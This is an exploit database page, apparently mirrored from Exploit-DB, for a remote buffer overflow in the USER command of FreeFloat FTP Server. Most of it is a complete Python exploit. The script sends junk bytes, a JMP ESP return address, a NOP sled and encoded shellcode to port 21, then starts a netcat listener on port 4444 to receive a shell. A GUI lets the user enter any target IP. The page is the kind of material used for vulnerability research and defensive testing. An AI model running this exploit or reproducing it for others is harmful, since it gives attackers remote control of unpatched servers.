FreeFloat FTP Server Remote Command Execution USER Command Buffer Overflow

vendor:

FreeFloat FTP Server

by:

D35m0nd142

7.5

CVSS

HIGH

Remote Command Execution

119

CWE

Product Name: FreeFloat FTP Server

Affected Version From: Not provided

Affected Version To: Not provided

Patch Exists: NO

Related CWE: Not provided

CPE: Not provided

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP3, Ubuntu 12.04

2012

FreeFloat FTP Server Remote Command Execution USER Command Buffer Overflow

This exploit takes advantage of a buffer overflow vulnerability in the USER command of FreeFloat FTP Server. By sending a specially crafted payload, an attacker can execute arbitrary commands on the target system. The exploit uses a combination of junk data, a return address, and a payload to achieve code execution.

Mitigation:

The vendor has not provided a patch or mitigation for this vulnerability. It is recommended to discontinue the use of FreeFloat FTP Server and switch to a more secure alternative.

Source

Exploit-DB raw data:

#Exploit title: FreeFloat FTP Server Remote Command Execution USER Command Buffer Overflow
#Date: 06/12/2012
#Exploit Author: D35m0nd142
#Vendor Homepage: http://www.freefoat.com
#Tested on Windows XP SP3 with Ubuntu 12.04
#!/usr/bin/python
import socket,sys,time,os
import Tkinter,tkMessageBox
os.system("clear")
def exploit():
	target = ip.get()
	junk = "\x41" * 230     # Offest Number --> 230
	eip = "\x53\x93\x37\x7E"  # 0x7E379353   FFE4             JMP ESP
	nops = "\x90" * 20
	payload =("\xb8\xe9\x78\x9d\xdb\xda\xd2\xd9\x74\x24\xf4\x5e\x2b\xc9" +
	"\xb1\x4f\x31\x46\x14\x83\xc6\x04\x03\x46\x10\x0b\x8d\x61" +
	"\x33\x42\x6e\x9a\xc4\x34\xe6\x7f\xf5\x66\x9c\xf4\xa4\xb6" +
	"\xd6\x59\x45\x3d\xba\x49\xde\x33\x13\x7d\x57\xf9\x45\xb0" +
	"\x68\xcc\x49\x1e\xaa\x4f\x36\x5d\xff\xaf\x07\xae\xf2\xae" +	
	"\x40\xd3\xfd\xe2\x19\x9f\xac\x12\x2d\xdd\x6c\x13\xe1\x69" +
	"\xcc\x6b\x84\xae\xb9\xc1\x87\xfe\x12\x5e\xcf\xe6\x19\x38" +
	"\xf0\x17\xcd\x5b\xcc\x5e\x7a\xaf\xa6\x60\xaa\xfe\x47\x53" +
	"\x92\xac\x79\x5b\x1f\xad\xbe\x5c\xc0\xd8\xb4\x9e\x7d\xda" +
	"\x0e\xdc\x59\x6f\x93\x46\x29\xd7\x77\x76\xfe\x81\xfc\x74" +	
	"\x4b\xc6\x5b\x99\x4a\x0b\xd0\xa5\xc7\xaa\x37\x2c\x93\x88" +
	"\x93\x74\x47\xb1\x82\xd0\x26\xce\xd5\xbd\x97\x6a\x9d\x2c" +
	"\xc3\x0c\xfc\x38\x20\x22\xff\xb8\x2e\x35\x8c\x8a\xf1\xed" +
	"\x1a\xa7\x7a\x2b\xdc\xc8\x50\x8b\x72\x37\x5b\xeb\x5b\xfc" +
	"\x0f\xbb\xf3\xd5\x2f\x50\x04\xd9\xe5\xf6\x54\x75\x56\xb6" +	
	"\x04\x35\x06\x5e\x4f\xba\x79\x7e\x70\x10\x0c\xb9\xe7\x5b" +
	"\xa7\x44\x78\x33\xba\x46\x69\x98\x33\xa0\xe3\x30\x12\x7b" +
	"\x9c\xa9\x3f\xf7\x3d\x35\xea\x9f\xde\xa4\x71\x5f\xa8\xd4" +
	"\x2d\x08\xfd\x2b\x24\xdc\x13\x15\x9e\xc2\xe9\xc3\xd9\x46" +
	"\x36\x30\xe7\x47\xbb\x0c\xc3\x57\x05\x8c\x4f\x03\xd9\xdb" +
	"\x19\xfd\x9f\xb5\xeb\x57\x76\x69\xa2\x3f\x0f\x41\x75\x39" +
	"\x10\x8c\x03\xa5\xa1\x79\x52\xda\x0e\xee\x52\xa3\x72\x8e" +
	"\x9d\x7e\x37\xbe\xd7\x22\x1e\x57\xbe\xb7\x22\x3a\x41\x62" +
	"\x60\x43\xc2\x86\x19\xb0\xda\xe3\x1c\xfc\x5c\x18\x6d\x6d" +
	"\x09\x1e\xc2\x8e\x18")
	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

	try:
		sock.connect((target,21))
		print "\n\n[-] Sending exploit ..."
		print sock.recv(2000)
		sock.send("USER "+junk+eip+nops+payload+"\r\n")
		sock.close()
		os.system("nc -lvp 4444")
	except:
		print "[-] Connection to "+target+" failed! \n"
		sys.exit(0)


root=Tkinter.Tk()
root.geometry("%dx%d" %(700,375))
root.title("*** FreeFloat FTP Server Remote Code Execution USER Command Buffer Overflow***")
root['bg'] = 'black'
developer=Tkinter.Label(text="Developed by D35m0nd142").pack(side='bottom')
ip_answer=Tkinter.Label(text="IP Address ").pack()
ip=Tkinter.StringVar()
ip_entry=Tkinter.Entry(textvariable=ip).pack()
exploit=Tkinter.Button(text="Exploit",command=exploit).pack()
root.mainloop()